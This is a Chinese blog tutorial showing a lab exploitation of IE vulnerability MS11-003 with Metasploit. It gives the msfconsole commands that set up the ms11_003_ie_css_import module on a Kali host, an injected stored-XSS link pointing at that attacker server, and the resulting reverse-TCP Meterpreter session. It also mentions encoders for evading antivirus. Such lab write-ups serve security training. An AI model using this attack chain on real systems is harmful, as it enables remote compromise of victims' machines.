目录
本文介绍了利用MS11-003漏洞结合Metasploit框架进行渗透测试的实战过程。MS11-003是2011年微软紧急发布的IE浏览器远程代码执行漏洞,主要影响IE6-8版本。攻击者通过构造恶意CSS文件触发"释放后使用"漏洞执行任意代码。实验使用Kali作为攻击机(192.168.59.137),Windows Server 2008 R2作为靶机(192.168.59.130)。通过Metasploit配置ms11_003_ie_css_import模块生成恶意链接,在Pikachu靶场存储型XSS页面植入该链接。当靶机用户点击链接后,成功建立Meterpreter会话,实现系统信息获取等后渗透操作。实验验证了老旧系统未打补丁的安全风险及XSS与漏洞利用结合的危害性。
一、ms11-003漏洞
(一)MS11-003 简介
MS11-003 是微软于 2011年2月 发布的一个紧急(Out-of-Band) 安全公告,旨在修复 Microsoft Internet Explorer 浏览器中存在的两个远程代码执行漏洞。由于其危害性高且当时已出现公开的攻击概念代码,微软打破了每月定期发布的惯例,紧急推出了该补丁。
| 项目 | 内容 |
|---|---|
| 官方名称 | Internet Explorer 的累积性安全更新 |
| 发布日期 | 2011年2月(紧急发布) |
| 严重等级 | 严重 |
| 影响产品 | Internet Explorer 6, 7, 8 |
| 影响系统 | Windows XP, Server 2003, Vista, Server 2008, 7 |
| 修复漏洞 | CVE-2010-3971, CVE-2011-0035 |
| 补丁编号 | KB2482017 |
(二)影响版本
此漏洞主要影响较旧版本的Windows操作系统和IE浏览器:
-
Internet Explorer 6
-
Internet Explorer 7
-
Internet Explorer 8
这些版本的IE运行于以下系统:
-
Windows XP
-
Windows Server 2003
-
Windows Vista
-
Windows Server 2008
-
Windows 7
-
Windows Server 2008 R2
(三)核心原理
MS11-003 漏洞的核心原理是 Internet Explorer 浏览器在处理递归导入的CSS文件时,存在一个“释放后使用”漏洞。攻击者可以构造一个特殊的网页,诱使IE错误地释放一个仍在使用的内存对象,随后再重新利用这块已被释放的内存来执行任意代码。通俗地讲,这就像是IE浏览器在管理内存时犯了一个错误:
-
它告诉系统:“这块内存我不用了,你可以回收了”(释放)。
-
但之后不久,它又试图去使用这块已经被回收的内存(使用)。
-
攻击者巧妙地在这个空当里,往这块内存里塞进了自己的恶意代码。
-
当IE再次使用这块内存时,实际上执行的是攻击者的代码
二、MSF
(一)MSF简介
Metasploit Framework (MSF) 是一个世界领先的、开源的渗透测试平台。它提供了一套强大的工具集,让安全专业人员能够开发、测试和执行针对已知漏洞的利用代码(Exploits)。Metasploit Framework 由多个功能模块组成,具体如下所示。
| 模块类型 | 中文名 | 作用描述 |
|---|---|---|
| Exploit | 漏洞利用 | 这是MSF的核心。它是包含攻击代码的模块,利用特定软件或系统中的已知漏洞。 |
| Payload | 攻击载荷 | 在成功利用漏洞后,真正在目标系统上执行的代码。比如提供一个远程命令行 shell 或者一个 Meterpreter 会话。 |
| Auxiliary | 辅助模块 | 执行各种辅助功能的模块,不直接在目标上执行代码。例如:扫描、指纹识别、密码爆破、漏洞扫描等。 |
| Encoder | 编码器 | 对 Payload 进行编码,目的是绕过杀毒软件的静态检测。 |
| NOP | 空指令生成器 | 生成空操作指令,用于在内存中平滑执行流程,提高 exploit 的可靠性。 |
(二)渗透流程
-
信息收集 (Reconnaissance):使用
Auxiliary模块进行端口扫描、服务版本探测等,寻找潜在的攻击入口。 -
选择并配置 Exploit:根据发现的漏洞,选择合适的
Exploit模块。并设置必要选项,如目标地址 (RHOST)、目标端口 (RPORT)。 -
选择并配置 Payload:选择你希望在目标系统上执行的
Payload。并设置其选项,例如:你的监听IP (LHOST) 和端口 (LPORT)。(这是reverse_tcppayload 所必需的)。 -
规避检测 (可选):使用
Encoder对 Payload 进行编码,以尝试绕过杀毒软件。 -
执行攻击:运行
exploit或run命令。 -
后期渗透:如果攻击成功,你将获得一个会话(例如一个
Meterpretershell)。在此阶段,你可以进行权限提升、横向移动、数据提取等各种操作。
三、渗透实战
(一)渗透环境
靶机使用windows server2008 R2环境,其中靶机、攻击机Kali处于同一网段(均使用Vmnet8网卡),做实验前需要确保kali和靶机是可以互相联通的。本文的渗透环境角色分配如下所示。
| 角色 | IP地址/URL | 说明 |
|---|---|---|
| 攻击机 (Kali) | 192.168.59.137 | 攻击机Kali,运行Metasploit等渗透测试工具。 |
| 靶机 | 192.168.59.130 | 您要攻击测试的目标机器(例如:一台存在漏洞的Windows虚拟机)。 |
| Pikachu靶场网关 | 192.168.59.1 | Pikachu靶场所在服务器或虚拟机的网关地址。 |
| Pikachu靶场存储型XSS漏洞页面 | http://127.0.0.1/pikachu/vul/xss/xss_stored.php | 注意:此URL是从靶机(192.168.59.130)本机访问的地址。 |
(二)攻击者配置MSF
1、启动MSF
攻击机使用msconsole启动MSF模块
msfconsole

2、查找ms11-003
MS11-003 是微软在2011年发布的一个紧急安全更新编号,用于修复IE浏览器中可导致电脑被远程控制的高危漏洞名称,
search ms11-003
执行 search ms11-003 命令,Metasploit 返回了与之匹配的模块。结果显示只有一个 exploit 模块:exploit/windows/browser/ms11_003_ie_css_import。

3、选择攻击模块
进入ms11_003漏洞渗透模块,并展示配置选项。
use 0
show options
使用 use 0 命令选择了该模块。Metasploit 自动配置了默认的Payload(攻击载荷):windows/meterpreter/reverse_tcp。这是一个反向TCP连接的Meterpreter shell,成功后会回连到您的攻击机。

4、配置攻击信息
配置服务相关信息并开启渗透(此时ip地址填写的是攻击机的ip地址)
set SRVHOST 192.168.59.137
set URIPATH ljn
run
-
set SRVHOST 192.168.59.137: 您将服务端主机地址设置为您Kali攻击机的IP地址。这是用来托管恶意网页的服务器地址。 -
set URIPATH ljn: 您将访问的URI路径设置为ljn。这意味着恶意URL将是http://192.168.59.137:8080/ljn。
运行结果如下所示,复制下来链接http://192.168.59.137:8080/ljn后续构造XSS Payload时会用到。

使用 run 命令启动攻击模块。Metasploit 将其作为后台作业运行,从输出信息可以看到:
-
[*] Started reverse TCP handler on 192.168.59.137:4444: 在4444端口启动了反向TCP监听器,等待目标系统上线(即中招后回连到这个端口)。 -
[*] Using URL: http://192.168.59.137:8080/ljn: 成功创建了恶意网址。 -
[*] Server started.: 攻击服务器已经启动并运行。
(三)攻击者配置XSS
在pikachu靶场的存储型XSS中,注入如下语句。
<a href="http://192.168.59.137:8080/ljn">Click to download</a>
该XSS语句含义是创建了一个文本为“Click to download”(点击下载)的网页链接。指向地址:当用户点击这个链接时,他们的网页浏览器会尝试访问 http://192.168.59.137:8080/ljn 这个URL。

插入后效果如下所示,多了一个Click to Download的下载链接。

(四)受害者点击XSS
1、访问pikachu靶场存储型XSS页面
在靶机(windows server2008)中使用ie访问存储型XSS页面,如下所示。
http://192.168.59.1/pikachu/vul/xss/xss_stored.php

2、点击Click to Download

(五)攻击机渗透成功
此时回到kali攻击机查看攻击效果,如下所示靶机192.168.59.130与攻击机192.168.59.137成功建立shell连接。

回到Metasploit命令行,使用 sessions 或 sessions -l 命令查看是否建立了新的会话,如下所示。

备注:这里共有两个,因为我刚刚click2次
(六)后渗透
1、进入会话
使用 sessions -i <会话ID>(例如 sessions -i 1)来交互并控制目标机器

备注:这里我选择第2个,大家根据实际情况任选一个即可,主要是要选存在的id
2. 获取用户id

3、显示靶机系统信息

4、查看ip地址

1268

被折叠的 条评论
为什么被折叠?



